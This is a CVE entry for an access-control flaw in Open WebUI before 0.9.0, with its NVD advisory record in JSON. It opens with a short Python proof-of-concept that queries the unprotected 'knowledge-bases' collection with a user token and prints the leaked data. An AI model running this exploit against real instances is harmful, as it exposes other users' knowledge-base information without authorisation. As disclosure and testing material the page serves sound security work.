CVE-2026-44557

import requests # Target URL (example) target_url = "http://target-open-webui-instance/api/v1/retrieval" # Payload to query the system-level meta-collection # Exploiting the incomplete allowlist in _validate_collection_access payload = { "collection": "knowledge-bases", # This bypasses the check "query": "*" # Retrieve all data } # Headers (Authentication required as per PR:L) headers = { "Authorization": "Bearer <VALID_USER_TOKEN>", "Content-Type": "application/json" } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("Vulnerability Exploited Successfully!") print("Leaked Data:", response.json()) else: print("Exploit failed or patched.")

{"cve": {"id": "CVE-2026-44557", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:47.227", "lastModified": "2026-05-15T20:16:47.227", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the _validate_collection_access function uses an incomplete allowlist that only enforces ownership checks for collections matching user-memory-* and file-* patterns. All other collection names pass through unchecked — including the system-level knowledge-bases meta-collection, which stores the IDs, names, and descriptions of every knowledge base on the instance. Any authenticated user can query this meta-collection directly via the retrieval query endpoints to obtain a global index of all knowledge bases across all users. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-6c2x-gcp3-gp73", "source": "[email protected]"}]}}